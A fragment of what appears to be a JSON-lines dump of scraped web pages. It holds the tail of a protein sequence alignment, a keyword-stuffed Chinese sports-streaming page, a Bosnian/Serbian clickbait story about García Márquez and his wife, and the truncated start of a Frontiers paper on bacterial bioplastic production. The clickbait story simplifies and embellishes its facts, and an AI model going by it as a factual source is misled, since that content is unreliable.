MRTTVGIIGAGPAGLLLARLLRNAGIDSVVLESRDRAYVERRQRAGILEQGTVDVLRAAGAGERMDREGLRHDGIELRFD 80 \n256394023 1 MHTTVGIIGAGPAGLLLARLLHQAGVDSVVLEARDREYVEQRQRAGILEQVTVDALRAAGAGERMDREGIVHHGIELRFA 80 \n256422806 10 EKTQVVIIGAGVSGLTLATFLQKSGVACVIVERRNRAYIEMRQRAGVVEARGVHMFERWGLADKLLG-GPVAQTIDYRVN 88 \n296270791 2 MRTTVGIVGGGPAGLLLARLLRRSGIDCVVLESRDRAYVEQRQRAGILEQGAADILRECGAGERMDREGLVHDGIELRFA 81 \n\n109900192 84 GTPYRIDL--NKLTDGKTVMCYGQTEVTRDLMQA-RETKALTTYYSASDVSLHD------IESAHPTVTF--SQDGVNYT 152\n300713295 85 GVGRIFDI---GAEGDAQSRFCTQQMLVNNLLRElIDAMAGDVRFEVADVVITN------EADRRPSVAY--SDAGGHHE 153\n300783217 83 GEELPIDF----SADDNDSVFLPQQVLVRNLTDA-FLRAGGDLRFEADSITLEN--------LEHPVVRY------GDNV 143\n134100570 84 DRRHRVSL--TGLT-GRTVCMYGQQELVKDLIRA-RTEAAATLHFGVEDVKLHG------LTGDAPVVRC--TIDGEPTE 151\n21219815 94 GERYRFGY--TGLT-GRHHFVYPQQFLVTDLVREyADVRGGEIRFGVRDVRLHG------TGSARPAVSYvcPDSGERRV 164\n290962740 97 GRAHRVDF--PGLTGGRRVWVYAQTEVVKDLIAL-QLTGGGPLLFEAEVHAVEG------ADTDRPSIRY--THEGREQT 165\n29830060 81 RRRHRVDF--PALAGGRAVMVYAQTEVCKDLIAL-QLEEGGPLLFGAEALAVEG------AGTERPRVPF--THEGREDV 149\n256394023 81 GRSQRIDF--AVLAGGRGVMVYAQTEMVKDLIAL-HLAHGGPLLFEAGVSSVGAvgavgtADDDRIAVRY--RRDGREQT 155\n256422806 89 GVGRVFEIvgDDRIQGRFCT---QQMLVNNLLKElIDGMSGDVRFEVTDVQIKN------EEGVQPEVTY--RYADSEHV 157\n296270791 82 RRSHRIDF--PSLTGGRRVMVYAQTEVVKDLIRL-HLEDGTPLLFEATATAITG------IDADRPVIHF--VHEGREKT 150\n\n109900192 153 LECDYIAGCDGFHGVSRKSIPEEKRNEFERVYPFGWLGLLSDTPPVSDELIYCKTERGFALASMRSSSRSRYYLQVPLTD 232\n300713295 154 IACDFIVGCDADRGVSRASIPDGILTRYVHEFGYAWMAALVEA-PVTGDPIMAVSDHGFVGQLPRGPQRSRYYLQCALTD 232\n300783217 144 VTAGFIAGCDGDRGVSRTAFPAGVLTRYSREYGYAWLSVLAEVPANPSGM--AIHSRGLAGMLPRGPHASRTYLQCALDD 221\n134100570 152 ITCDFVAGCDGFHGVSRRSVPASALSVYEHEYPFAWLGVLARMPPVASELVYSAHERGFALYSMRTESLSRLYLQVAPDD 231\n21219815 165 VEADFVAGCDGARGVTRASLPAGRVRLARHDYGVGWLALLAEAPPSSDCVVFGMHPRGFAGHMARSPEVTRYYLQCPPGD 244\n290962740 166 LTCDYVVGCDGFHGVARDAVPDGVRTTYERTYPYSWLGILADAPPVYDELIYAHSERGFALASMRSPSVSRLYLQVPNGT 245\n29830060 150 LECDYVVGCDGFRGVARQAVPAEVSRVFERTYPFGWLGVLADVAPSHDELVYARHERGFALLSMRSPAVSRLYLQVPEGT 229\n256394023 156 LTCDWAVGCDGFHGVTKDAVPADLRHTYERTYPYSWLGILADAPPVYDELIYAHSDRGFALASMRSDTVSRLYLQVPNGT 235\n256422806 158 LVCDYIVGCDGDRGVSRASIPEGILTKYSHEFGYAWLAALVEAPVTGHPIM-GVSDHGCVAQLPRGPHRSRYYLQCALSD 236\n296270791 151 LTCEYVVGCDGFHGITREAIRGAI-TTYEHVYPYSWLGILADVPPSCDELIYAHSERGFALHSMRGRTVSRLYLQVPNGS 229\n\n109900192 233 KVEQWSDERFWDELRKRLP--QEAASNLITGPSLEKSIAPLRSFVCEPMQLGKLFLVGDAAHIVPPTGAKGLNLAASDVS 310\n300713295 233 TAEDWPEKRIWDEIRVRLN--D---DTIQNAVVHNIDFVPLRSVVYAPMQYGNLFLAGDAAHMVPPASAKGMNMALYDVD 307\n300783217 222 DLAQWPDERVWSELEARFG------RPVASGRIADKRLVPLRNVVHSPMQSGKLHLLGDAAHIVPPMSAKGIHLALFDAE 295\n134100570 232 DGSTWPPELIWKELATRLG--PDASEVLRPGPILETSVTRMRGFVAEPMQYGRLFLAGDAAHIVPPTAAKGLNLAVGDVR 309\n21219815 245 SPENWPHERVWAELRERLG--AAGAPPLAEGRLIEKRVLDMHSYVVEPMAFGRLFLAGDAAHLTAPIAAKGLNLALHDAF 322\n290962740 246 DPGDWSDERIWDELDARLAltANPGWRLKRGPVTSKAVLPMRSHVTEPMRYGRVFLAGDAAHIVPPTGAKGLNLAATDVI 325\n29830060 230 DAEAWADDEIWAELERRFE--TDDAWRLERGPITQKSVTPMRGYVHEPMRHGRLFLAGDAAHIVPPTGAKGLNLAVGDVV 307\n256394023 236 DPAAWSDDRIWDELDRRFAtrADPGWKLTRGPITAKSVLPMRSHVTEPMRHGRVLLAGDTAHIVPPTGAKGLNLATGDVI 315\n256422806 237 GAQDWPDDRLWNEIRLRLQ--D---ETIQNVKVHDKFFVPLRSVVYAPMQYRHLYLAGDAAHLVPPASAKGMNLALFDVD 311\n296270791 230 GVDEWPDDRIWDELDARFA--IDGDWKLERGPITSKAVLPMRSFVTEPMRHRRVFLAGDAAHIVPPTGAKGLNLALGDVA 307\n\n109900192 311 TLYRLLTKEYNEGATNASQQYSEIALRRVWHAERFSWWMSNMLHEFtdcgGDANNMDnktfERFMASELDFYLSHQEGQQ 390\n300713295 308 VLAQALLDAVRNQDRRTLDSYTDTCLPRIWNYQDFAVWMTDTMHDAsn-pAQQGTFR----QMTARSRLNNLFASPAAAR 382\n300783217 296 VFARGVIRQAKENDPSLLDSYSETCLSHVWNYQAFAAWITDIMHDA-----GDASYAgefrKRVARAELERQFTSAAAGR 370\n134100570 310 TLAQAFARWYSSGDRGPLDEYSATCLPAVWRAQEFSAAMTWLLHRP----ADSTGFT----ERLRRSRLENLVSSRAAAT 381\n21219815 323 LLGDGLVAALTKGDDSALAGYSDACLARVWDYQEFSQWLAEMYHGT----ASGDPYR----AGAALARLRRLFSSPAAAA 394\n290962740 326 VLARAFARLRETGSTELLDAYSDTCLRRVWRAEHFSYFMTTTLHAD----PDQSPFE----TRLQLAQLDRVATSRHAAA 397\n29830060 308 TFARALTHLKETGSGERLDAYSATCLRRVWQAERFSYDMTTLLHRP----PAATPFE----ERVQLARLERITSSRAAEA 379\n256394023 316 ILARALAHWKETGSAELLDAYSDTCLERVWRAEHFSYFMTTTLHVD----PDQSAFD----TRLQLSQLARIAASPHAAA 387\n256422806 312 ILAQGLLQALQHNDHTALLNYSDTCLPHIWKYQEFAVWMTDMMHDAgd-pTQHGTFY----QMIARARLDNLFSSPIAAH 386\n296270791 308 VLARAFIYLHTTGSSELLDAYSDTRLRRVWRAEHFSYFMTTTLHLG----PEQTPFQ----TRLQLAQLERIVTSRAAAA 379\n\n109900192 391 VIATQYVGMPY 401\n300713295 383 LHGEYQRGTN- 392\n300783217 371 LFAEFMAGVA- 380\n134100570 382 EFAENYVGVSR 392\n21219815 395 EFAERYLGVRT 405\n290962740 398 ELAENYTGLSL 408\n29830060 380 DLAEGYTGSPW 390\n256394023 388 ELAQNYVGIPI 398\n256422806 387 QHSEYQRGML- 396\n296270791 380 ELAENYTGLPL 390\nCiting CDD\nJiyao W et al.(2023). \"The conserved domain database in 2023.\", Nucleic Acids Res. 51(D1):D384-D388.\n| Disclaimer | Privacy statement | Accessibility |", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/16b5440e-6a72-4d01-b1df-782d1019792d", "content_hash": "110fd7ec7fb3f7c902f2eabbf0767a3524065c727c969cbaa0322a46ffd3aeca", "created_at": "2026-03-28T05:11:10.582732899Z"} +{"id": "15ab05a7-c54a-4c81-9fce-2a4e1f22ea0b", "source": "brain", "text": "\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad-\u8db3\u7403\u76f4\u64ad|\u6b27\u51a0\u76f4\u64ad|\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206|\u82f1\u8d85\u76f4\u64ad\u514d\u8d39\u76f4\u64ad\u89c6\u9891\u76f4\u64ad|\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u5b98\u7f51\n\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad-\u8db3\u7403\u76f4\u64ad|\u6b27\u51a0\u76f4\u64ad|\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206|\u82f1\u8d85\u76f4\u64ad\u514d\u8d39\u76f4\u64ad\u89c6\u9891\u76f4\u64ad|\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u5b98\u7f51\nToggle navigation\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\n\u9996\u9875\n\u8db3\u7403\u76f4\u64ad\n\u7bee\u7403\u76f4\u64ad\n\u82f1\u8d85\u76f4\u64ad\n\u6b27\u51a0\u676f\u76f4\u64ad\n\u897f\u7532\u76f4\u64ad\n\u6fb3\u8d85\u76f4\u64ad\n\u5fb7\u7532\u76f4\u64ad\n\u6cd5\u7532\u76f4\u64ad\n\u4e2d\u8d85\u76f4\u64ad\n\u610f\u7532\u76f4\u64ad\n\u6b27\u8054\u76f4\u64ad\n\u6b27\u534f\u8054\u76f4\u64ad\n\u4e16\u6b27\u9884\u76f4\u64ad\n\u4e16\u4e9a\u9884\u76f4\u64ad\nNBA\u76f4\u64ad\nCBA\u76f4\u64ad\n\u8db3\u7403\u65b0\u95fb\n\u7bee\u7403\u65b0\u95fb\n\u8db3\u7403\u89c6\u9891\n\u7bee\u7403\u89c6\u9891\n\u9996\u9875\n\u7bee\u7403\u76f4\u64ad\n\u8db3\u7403\u76f4\u64ad\n\u8db3\u7403\u65b0\u95fb\n\u7bee\u7403\u65b0\u95fb\n\u8db3\u7403\u89c6\u9891\n\u7bee\u7403\u89c6\u9891\n\u9996\u9875 >\n\u672c\u573a\u7531\u6bd4\u8d5b\u5df2\u7ecf\u5706\u6ee1\u7ed3\u675f\uff0c\u611f\u8c22\u60a8\u7684\u5173\u6ce8\u4e0e\u652f\u6301\uff01\n\u5982\u679c\u60a8\u9519\u8fc7\u4e86\u672c\u573a\u76f4\u64ad\uff0c\u4e0d\u7528\u62c5\u5fc3\uff0c\u9875\u9762\u4e0b\u65b9\u5c06\u63d0\u4f9b\u5168\u573a\u5f55\u50cf\u56de\u653e\u4e0e\u8fdb\u7403\u96c6\u9526\uff0c\u65b9\u4fbf\u60a8\u968f\u65f6\u91cd\u6e29\u6bd4\u8d5b\u7cbe\u5f69\u77ac\u95f4\u3002\n\u60f3\u770b\u66f4\u591a\u7684\u76f4\u64ad\u6216\u4e86\u89e3\u5176\u4ed6\u8db3\u7403\u6bd4\u8d5b\u3001\u7bee\u7403\u8d5b\u4e8b\uff1f \u6b22\u8fce\u7ee7\u7eed\u5173\u6ce8\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\uff0c\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u5c06\u6301\u7eed\u66f4\u65b0\u8d5b\u7a0b\u3001\u6bd4\u5206\u7ed3\u679c\u3001\u5168\u573a\u5f55\u50cf\u4e0e\u9ad8\u5149\u96c6\u9526\u7b49\u5185\u5bb9\u3002\n\u76f8\u5173\u8d5b\u7a0b\n\u6682\u65e0\u8d44\u6599\n\u70ed\u95e8\u65b0\u95fb\n\u5df4\u897f\u8fb9\u950b\u52a0\u5e03\u91cc\u57c3\u5c14\u91cd\u8fd4\u6d77\u6e2f\uff0c\u5415\u6587\u541b11\u53f7\u7403\u8863\u6709\u671b\u4f20\u627f\n\u82f1\u8d8524\u8f6e\uff0c\u5229\u7269\u6d664-1\u7ebd\u5361\u65af\u5c14\uff0c\u6770\u62c9\u5fb7\u79f0\u57c3\u57fa\u8482\u514b\u50cf\u6258\u96f7\u65af\n\u6b66\u6c49\u4e09\u9547\u5b98\u65b9\u5ba3\u5e03\uff1a\u5580\u9ea6\u9686\u56fd\u811a\u4e9a\u59c6\u5361\u59c6\u52a0\u76df\uff0c\u80fd\u5426\u52a9\u961f\u91cd\u8fd4\u4e2d\u8d85\u8363\u5149\uff1f\n\u6b27\u51a0\u5c0f\u7ec4\u8d5b\u7b2c8\u8f6e\u5b8c\u7ed3\uff0c12\u573a\u5927\u6218\u60ac\u5ff5\u8fed\u8d77\uff01\n\u57c3\u5229\u5965\u7279\u503a\u52a1\u8fd8\u6e05\uff0cAC\u7c73\u5170\u7ba1\u7406\u5c42\u4e0d\u52a8\u8361\uff0c\u672a\u6765\u51e0\u5929\u5b9a\u65b0\u8463\u4e8b\u4f1a\n\u83ab\u6d3e\u79df\u501f\u585e\u7ef4\u5229\u4e9a\uff0c\u8c03\u4f83XO\u5c0f\u7f16\u7ec8\u7ed3\u9694\u7a7a\u5bf9\u8bdd\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\n\u5173\u4e8e\u6211\u4eec \u8054\u7cfb\u6211\u4eec\n\u7f51\u7ad9\u5730\u56fe Copyright \u00a9 \u7248\u6743\u6240\u6709 2025\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u6574\u5408\u8db3\u7403\u76f4\u64ad\u3001\u6b27\u51a0\u76f4\u64ad\u548c\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206\u7b49\u591a\u9879\u4f53\u80b2\u6570\u636e\uff0c\u4e3a\u7403\u8ff7\u63d0\u4f9b\u5168\u65b9\u4f4d\u7684\u8d5b\u4e8b\u4fe1\u606f\u5e73\u53f0\u3002 \u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u4ee5\u6b27\u51a0\u76f4\u64ad\u3001\u82f1\u8d85\u76f4\u64ad\u514d\u8d39\u76f4\u64ad\u89c6\u9891\u76f4\u64ad\u3001\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206\u7b49\u8d5b\u4e8b\u4e3a\u6838\u5fc3\u5185\u5bb9\uff0c\u63d0\u4f9b\u9ad8\u6e05\u8d5b\u4e8b\u76f4\u64ad\u3001\u4e13\u4e1a\u5206\u6790\u4e0e\u6743\u5a01\u62a5\u9053\uff0c\u8986\u76d6NBA\u3001\u6b27\u51a0\u3001\u82f1\u8d85\u76f4\u64ad\u7b49\u591a\u9879\u8d5b\u4e8b\u3002\u5e73\u53f0\u66f4\u65b0\u8fc5\u901f\u3001\u6570\u636e\u8be6\u5b9e\uff0c\u81f4\u529b\u4e8e\u4e3a\u7403\u8ff7\u6253\u9020\u5168\u9762\u3001\u6d41\u7545\u7684\u89c2\u8d5b\u4f53\u9a8c\uff0c\u8ba9\u4f53\u80b2\u7231\u597d\u8005\u968f\u65f6\u638c\u63e1\u6700\u65b0\u52a8\u6001\uff0c\u4eab\u53d7\u771f\u5b9e\u800c\u7cbe\u5f69\u7684\u4f53\u80b2\u4e16\u754c\u3002", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/15ab05a7-c54a-4c81-9fce-2a4e1f22ea0b", "content_hash": "18e8823827f1a1abc1856f6a12f7dc75a9ae6c0d61972a94a6caba8449baa117", "created_at": "2026-03-28T05:11:10.582687159Z"} +{"id": "fabd6a20-0345-4027-b447-60986758ddff", "source": "brain", "text": "Dok je on zatvoren u sobi \u201c\u017evrljao\u201d po papiru, ona je prodavala sve \u0161to je imala da bi pre\u017eivali: 13 godina je \u010dekala da je o\u017eeni, a ovim re\u010dima je...\n\nDok je on zatvoren u sobi \u201c\u017evrljao\u201d po papiru, ona je prodavala sve \u0161to je imala da bi pre\u017eivali: 13 godina je \u010dekala da je o\u017eeni, a ovim re\u010dima je osvojio | Brze i provjerene vijesti\nPo\u010detna\nNovo\nRegion\nDom i vrt\nRecepti\nSavjeti\nShowbizz\nZdravlje\nSearch\nFriday, February 6, 2026\nPo\u010detna\nO nama\nKontakt\nPravila i uslovi kori\u0161tenja\nPrivacy policy\nBrze i provjerene vijesti\nPo\u010detna\nNovo\nRegion\nDom i vrt\nRecepti\nSavjeti\nShowbizz\nZdravlje\nHome Novo Dok je on zatvoren u sobi \u201c\u017evrljao\u201d po papiru, ona je prodavala...\nNovo\nRegion\nShowbizz\nDok je on zatvoren u sobi \u201c\u017evrljao\u201d po papiru, ona je prodavala sve \u0161to je imala da bi pre\u017eivali: 13 godina je \u010dekala da je o\u017eeni, a ovim re\u010dima je osvojio\nBy\nRedakcija\n-\nApril 27, 2025\n789\n0\nShare\nFacebook\nTwitter\nGoogle+\nPinterest\nWhatsApp\nU dana\u0161njem \u010dlanku \u017eelim da vam ispri\u010dam pri\u010du koja se dogodila pre mnogo godina, ali koja i dalje inspiri\u0161e i dirnuti svakog ko je pro\u010dita.\nOva pri\u010da govori o ljubavi, strpljenju, poverenju i verovanju u snove, a glavni akteri su jedan od najve\u0107ih pisaca 20. veka i \u017eena koja je u svakom smislu bila njegova podr\u0161ka, njegova inspiracija, a i kamen-temeljac u \u017eivotu.\nImala je samo 13 godina kada joj je rekao: \u201eBudi moja \u017eena.\u201c Bilo je to na plesnom podijumu, dok je mr\u0161avi de\u010dak sa iskrom u o\u010dima pri\u0161ao i rekao: \u201eUpravo sam shvatio da su sve moje pesme o tebi. Udaj se za mene!\u201c Njegov pogled bio je pun strasti i nade, a re\u010di su bile iskrene, iako nisu bile ozbiljno shva\u0107ene. Devojka, mlada i jo\u0161 uvek nedovoljno odrasla da razmi\u0161lja o braku, podigla je pogled prema njemu i mirno odgovorila: \u201eU redu. Ali pusti me da prvo zavr\u0161im \u0161kolu.\u201c Tada, na tom plesnom podijumu, zapo\u010dela je pri\u010da koja je kasnije postala legendarna.\nOn je bio Gabrijel Garsija Markes, a ona je bila Mercedes. Dugo su \u010dekali, ali ljubav koju su gajili bila je nepokolebljiva. Njihova veza nije bila samo pri\u010da o romanti\u010dnom anga\u017emanu, ve\u0107 pri\u010da o podr\u0161ci i poverenju, o tome kako je ljubav, \u010dak i kada nije zvani\u010dno ozvani\u010dena, naj\u010distiji oblik zajedni\u0161tva. Ven\u010dali su se tek 13 godina kasnije. Iako nisu bili zvani\u010dno vereni, Markes je kasnije rekao: \u201eNismo \u010dekali ven\u010danje, samo smo strpljivo \u010dekali ono \u0161to je trebalo da bude.\u201c\nDok je Gabrijel bio zatvoren u svojoj sobi, pi\u0161u\u0107i remek-delo \u201eSto godina samo\u0107e\u201c, Mercedes je bila ta koja je nosila ceo njihov svet. Njena vernost, njeno poverenje u njegov talenat, i njena posve\u0107enost porodici nisu bile samo znakovi ljubavi, ve\u0107 i njene nepopustljive nade da \u0107e on jednog dana ostvariti sve \u0161to je zamislio. Verovala je u njega \u010dak i kada su okolnosti bile te\u0161ke, kada su novci bili ograni\u010deni, a snovi su delovali daleko. Bez obzira na sve, nikada nije sumnjala da je njen mu\u017e genije, i nikada nije napustila njegov san.\nKada je rukopis njegovog dela bio gotov, nisu imali dovoljno novca da ga po\u0161alju. Mercedes je tada u\u010dinila ne\u0161to \u0161to \u0107e se kasnije \u010diniti kao herojski potez. Prodala je svoje poslednje stvari, kao \u0161to su fen za kosu i blender, da bi poslala rukopis na adresu izdava\u010da. Ova \u017ertva, u kojoj se prepoznao njen duboki ljubavni odnos prema Markesu, pokazala je koliko je ona verovala u njegovu misiju i njegov talenat. Nije se \u017ealila, niti se kajala, jer je znala da je to bio korak ka ne\u010demu ve\u0107em od nje, ne\u0161to \u0161to je bilo daleko od trenutnih problema i nesigurnosti.\nMesecima kasnije, svet je saznao ime Gabrijela Garsije Markesa. Njegovo delo, roman \u201eSto godina samo\u0107e\u201c, zauvek je promenio knji\u017eevnost. Ovaj roman nije samo postao najva\u017eniji deo knji\u017eevnog kanona Latinske Amerike, ve\u0107 je doneo Markesu i Nobelovu nagradu za knji\u017eevnost. Bez obzira na njegov kasniji uspeh, va\u017eno je shvatiti da bi bez Mercedesine podr\u0161ke, \u017ertve i vere u njega, Markes mo\u017eda nikada ne bi dostigao svoj potencijal. Njegov uspeh nije bio samo njegov, ve\u0107 i njihov, jer je bio rezultat godina zajedni\u010dke borbe, ljubavi i uzajamnog po\u0161tovanja.\nOva pri\u010da je sna\u017ena podse\u0107anja na to kako ljubav i podr\u0161ka izme\u0111u dvoje ljudi mogu stvoriti nevjerovatne stvari. Gabrijel Garsija Markes postao je svetli primer toga kako ljubav i vera u partnera mogu oblikovati ne samo njihove \u017eivote, ve\u0107 i svet oko njih. Mercedes je bila ta koja je tiho, ali neizmerno zna\u010dajno, doprinosila njegovom uspehu, iako nikada nije tra\u017eila priznanje. Njena ljubav bila je \u010dista, nepokolebljiva, i u tom njenom verovanju u njega le\u017ei klju\u010d svega \u0161to su postigli zajedno.\nPlease leave this field empty\nPRIRODNI LIJEKOVI\n\u22c6 BESPLATNO ZA TEBE \u22c6\nUpi\u0161i svoj email i preuzmi priru\u010dnik 'Ljekovito bilje'! Nau\u010di tajne prirodnih lijekova i otkrij kako posti\u0107i ravnote\u017eu i zdravlje uz pomo\u0107 \u010dudesnih biljaka.\nJednim klikom preuzmi priru\u010dnik s najboljim prirodnim lijekovima!\nYou\u2019ve been successfully subscribed to our newsletter!\nShare\nFacebook\nTwitter\nGoogle+\nPinterest\nWhatsApp\nPrevious article\u0160ta se de\u0161ava u Sikstinskoj kapeli dok se bira novi Papa? Ekstremno tajni proces korene vu\u010de jo\u0161 iz srednjevekovnih vremena, a evo \u0161ta zna\u010de beli i crni dim\nNext article\u201cNon-stop smo vodili ljubav, jo\u0161 ako je bilo zabranjeno\u2026\u201d: Jasmina nije mogla da se zasiti na\u0161eg pisca, dok je umirao \u017ealila je \u0161to vi\u0161e ne\u0107e deliti postelju\nRedakcija\nRELATED ARTICLESMORE FROM AUTHOR\nNovo\nGDJE NA LICU IMATE MLADE\u017d \u2013 SVAKI IMA ZNA\u010cENJE: Odmah prona\u0111ite broj i otkrijte \u0160TA TO GOVORI O VAMA\nShowbizz\nI\u0161ao na hemioterapiju, pa dr\u017eao koncert u \u010ca\u010dku: Pred publikom nikad nije stajao jer nije ose\u0107ao noge, majka ga u 35. ispratila na ve\u010dni...\nNovo\nFEBRUAR DONOSI OGROMNE PROMJENE: Neka se Ribe, \u0160korpija i OVAJ znak pripreme na najuzbudljivije \u017eivotne promjene i preokrete do sad!\nNajnovije\nTrudnica poni\u017eena pred porodicom mu\u017ea\nJanuary 30, 2026\nFarbanje jaja sodom bikarbonom: Za 10 minuta oboji\u0107ete i do 50...\nApril 5, 2025\nRekla mi je da sam samo \u201egost\u201c u vlastitoj ku\u0107i \u2014...\nNovember 3, 2025\nOVA BILJKA JE INFUZIJA \u017dIVOTA: Ja\u010da organizam, lije\u010di upalu plu\u0107a, podsti\u010de...\nMarch 7, 2025\nSve\u0161tenik otkriva koji uslov mora da se ispo\u0161tuje da bi se...\nMay 26, 2025\nLoad more\nIzdvojeno\nNovo\nProdala trosoban stan, pa se uselila u kombi od kojeg je...\nNovo\nAdrijana je prvo dete rodila u 66. godini pa zavr\u0161ila na...\nNovo\nTe\u0161ke emocije: \u017dao nam je, ali u narednih par dana ovi...\nNovo\nBila je velika zvezda Jugoslavije, udata za \u010duvenog peva\u010da: Umrla je...\nNovo\nNa\u0161a peva\u010dica odgajana u siroma\u0161tvu, od drugarica pozajmljivala ode\u0107u: Zaradila vi\u0161e...\nNovo\nLo\u0161 zadah mo\u017ee biti uzrok opasnih zdravstvenih problema: Dr Peri\u0161i\u0107 isti\u010de...\nABOUT US\nDobrodo\u0161li na na\u0161 blog. \u017delimo da u\u017eivate u zanimljivom i inspirativnom sadr\u017eaju za sve prilike. Za vas, svakodnevno donosimo zanimljive i korisne informacije iz svijeta i regiona, razli\u010ditih tema od politike do viralnih stvari iz cijelog svijeta.\nContact us: \nFOLLOW US\nPo\u010detna\nO nama\nKontakt\nPravila i uslovi kori\u0161tenja\nPrivacy policy\n\u00a9 Sva prava pridr\u017eana - 2025. - Preno\u0161enje sadr\u017eaja dozvoljeno u OBAVEZNO navo\u0111enje izvora i backlinka na originalni sadr\u017eaj.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/fabd6a20-0345-4027-b447-60986758ddff", "content_hash": "8bbd5c59d86b083e43be7ffaa1625972b6db9c98a1fa75afcbb1342958946399", "created_at": "2026-03-28T05:11:10.516873331Z"} +{"id": "554e57ef-839b-499f-a0be-978c15e657a8", "source": "brain", "text": "Frontiers | Extremophilic Bacterium Halomonas desertis G11 as a Cell Factory for Poly-3-Hydroxybutyrate-co-3-Hydroxyvalerate Copolymer\u2019s Production\n\nFrontiers | Extremophilic Bacterium Halomonas desertis G11 as a Cell Factory for Poly-3-Hydroxybutyrate-co-3-Hydroxyvalerate Copolymer\u2019s Production\nFrontiers in Bioengineering and Biotechnology\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nSearch\nFrontiers in Bioengineering and Biotechnology\nSections\nSections\nBiofabrication\nBiomaterials\nBiomechanics\nBioprocess Engineering\nBiosafety and Biosecurity\nBiosensors and Biomolecular Electronics\nCell and Gene Therapy\nIndustrial Biotechnology\nNanobiotechnology\nOrganoids and Organ-On-A-Chip\nSynthetic Biology\nTissue Engineering and Regenerative Medicine\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nFrontiers in Bioengineering and Biotechnology\nSections\nSections\nBiofabrication\nBiomaterials\nBiomechanics\nBioprocess Engineering\nBiosafety and Biosecurity\nBiosensors and Biomolecular Electronics\nCell and Gene Therapy\nIndustrial Biotechnology\nNanobiotechnology\nOrganoids and Organ-On-A-Chip\nSynthetic Biology\nTissue Engineering and Regenerative Medicine\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nFrontiers in Bioengineering and Biotechnology\nSections\nSections\nBiofabrication\nBiomaterials\nBiomechanics\nBioprocess Engineering\nBiosafety and Biosecurity\nBiosensors and Biomolecular Electronics\nCell and Gene Therapy\nIndustrial Biotechnology\nNanobiotechnology\nOrganoids and Organ-On-A-Chip\nSynthetic Biology\nTissue Engineering and Regenerative Medicine\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nSubmit your researchSearch\nYour new experience awaits. Try the new design now and help us make it even better\nSwitch to the new experience\nORIGINAL RESEARCH article\nFront. Bioeng. Biotechnol., 23 May 2022\nSec. Bioprocess Engineering\nVolume 10 - 2022 | https://doi.org/10.3389/fbioe.2022.878843\nThis article is part of the Research TopicCurrent Challenges in Biodegradable Polyhydroxyalkanoates: From The Cradle To The GraveView all 7 articles\nExtremophilic Bacterium Halomonas desertis G11 as a Cell Factory for Poly-3-Hydroxybutyrate-co-3-Hydroxyvalerate Copolymer\u2019s Production\nKhouloud Hammami1 Yasmine Souissi1,2 Amal Souii1 Awatef Ouertani1 Darine El-Hidri1 Marwa Jabberi1 Habib Chouchane1 Amor Mosbah1 Ahmed Slaheddine Masmoudi1 Ameur Cherif1 Mohamed Neifar1,3*\n1BVBGR-LR11ES31, Higher Institute of Biotechnology of Sidi Thabet (ISBST), University of Manouba, Ariana, Tunisia\n2Department of Engineering, German University of Technology in Oman, Muscat, Oman\n3APVA-LR16ES20, National School of Engineers of Sfax (ENIS), University of Sfax, Sfax, Tunisia\nMicrobial polyhydroxyalkanoates (PHA) are biodegradable and biocompatible bio-based polyesters, which are used in various applications including packaging, medical and coating materials. In this study, an extremophilic hydrocarbonoclastic bacterium, previously isolated from saline sediment in the Tunisian desert, has been investigated for PHA production. The accumulation of intracellular PHA granules in Halomonas desertis G11 was detected by Nile blue A staining of the colonies. To achieve maximum PHA yield by the strain G11, the culture conditions were optimized through response surface methodology (RSM) employing a Box-Behnken Design (BBD) with three independent variables, namely, substrate concentration (1\u20135%), inoculum size (1\u20135%) and incubation time (5\u201315 days). Under optimized conditions, G11 strain produced 1.5 g/L (68% of DCW) of PHA using glycerol as a substrate. Application of NMR (1H and 13C) and FTIR 